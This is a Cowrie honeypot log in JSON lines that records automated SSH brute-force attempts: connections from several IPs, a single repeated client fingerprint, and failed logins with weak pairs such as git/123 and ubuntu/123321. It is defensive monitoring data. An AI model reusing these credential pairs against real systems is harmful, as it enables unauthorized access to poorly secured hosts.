{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:24.837772Z","src_ip":"91.92.42.227","session":"89a725f0602e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test3","password":"1","message":"login attempt [test3/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:25.753078Z","src_ip":"91.92.42.227","session":"89a725f0602e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:26.921928Z","src_ip":"91.92.42.227","session":"89a725f0602e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47668,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3ab29606f05","protocol":"ssh","message":"New connection: 45.156.87.147:47668 (10.17.0.5:22) [session: c3ab29606f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:28.715428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:28.718751Z","src_ip":"45.156.87.147","session":"c3ab29606f05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:28.803195Z","src_ip":"45.156.87.147","session":"c3ab29606f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:29.055630Z","src_ip":"45.156.87.147","session":"c3ab29606f05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:30.246444Z","src_ip":"45.156.87.147","session":"c3ab29606f05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":50104,"dst_ip":"159.203.135.109","dst_port":23,"session":"d61737a40dd4","protocol":"telnet","message":"New connection: 172.81.62.90:50104 (159.203.135.109:23) [session: d61737a40dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:30.337299Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48128,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ad9168f2143","protocol":"ssh","message":"New connection: 91.92.42.227:48128 (10.17.0.5:22) [session: 5ad9168f2143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:31.762483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:31.875354Z","src_ip":"91.92.42.227","session":"5ad9168f2143","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:31.881097Z","src_ip":"91.92.42.227","session":"5ad9168f2143","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:32.773595Z","src_ip":"91.92.42.227","session":"5ad9168f2143","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:34.139572Z","src_ip":"91.92.42.227","session":"5ad9168f2143","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":40850,"dst_ip":"10.17.0.5","dst_port":22,"session":"e37f0e0a835e","protocol":"ssh","message":"New connection: 45.156.87.147:40850 (10.17.0.5:22) [session: e37f0e0a835e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:34.748931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:34.752326Z","src_ip":"45.156.87.147","session":"e37f0e0a835e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:34.833578Z","src_ip":"45.156.87.147","session":"e37f0e0a835e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:35.079252Z","src_ip":"45.156.87.147","session":"e37f0e0a835e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:36.163144Z","src_ip":"45.156.87.147","session":"e37f0e0a835e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56934,"dst_ip":"10.17.0.5","dst_port":22,"session":"e119ee3fd380","protocol":"ssh","message":"New connection: 91.92.42.227:56934 (10.17.0.5:22) [session: e119ee3fd380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:38.607312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:38.846771Z","src_ip":"91.92.42.227","session":"e119ee3fd380","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:38.851973Z","src_ip":"91.92.42.227","session":"e119ee3fd380","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123321","message":"login attempt [ubuntu/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:40.073543Z","src_ip":"91.92.42.227","session":"e119ee3fd380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54882,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fb0344c1f6d","protocol":"ssh","message":"New connection: 45.156.87.147:54882 (10.17.0.5:22) [session: 5fb0344c1f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:40.865031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:40.869272Z","src_ip":"45.156.87.147","session":"5fb0344c1f6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:40.951488Z","src_ip":"45.156.87.147","session":"5fb0344c1f6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad123","message":"login attempt [milad/milad123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:41.194878Z","src_ip":"45.156.87.147","session":"5fb0344c1f6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:41.412711Z","src_ip":"91.92.42.227","session":"e119ee3fd380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:42.424692Z","src_ip":"45.156.87.147","session":"5fb0344c1f6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":43422,"dst_ip":"10.17.0.5","dst_port":22,"session":"fccef6e3ff22","protocol":"ssh","message":"New connection: 8.219.200.1:43422 (10.17.0.5:22) [session: fccef6e3ff22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:43.976860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:43.992816Z","src_ip":"8.219.200.1","session":"fccef6e3ff22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:44.214309Z","src_ip":"8.219.200.1","session":"fccef6e3ff22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48196,"dst_ip":"10.17.0.5","dst_port":22,"session":"91cc1f3a26a3","protocol":"ssh","message":"New connection: 91.92.42.227:48196 (10.17.0.5:22) [session: 91cc1f3a26a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:45.144487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:45.399386Z","src_ip":"91.92.42.227","session":"91cc1f3a26a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:45.401304Z","src_ip":"91.92.42.227","session":"91cc1f3a26a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54894,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5552a68d810","protocol":"ssh","message":"New connection: 45.156.87.147:54894 (10.17.0.5:22) [session: c5552a68d810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:47.157883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:47.161074Z","src_ip":"45.156.87.147","session":"c5552a68d810","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123","message":"login attempt [app/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:47.223169Z","src_ip":"91.92.42.227","session":"91cc1f3a26a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:47.239988Z","src_ip":"45.156.87.147","session":"c5552a68d810","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:47.404108Z","src_ip":"8.219.200.1","session":"fccef6e3ff22","protocol":"ssh"}
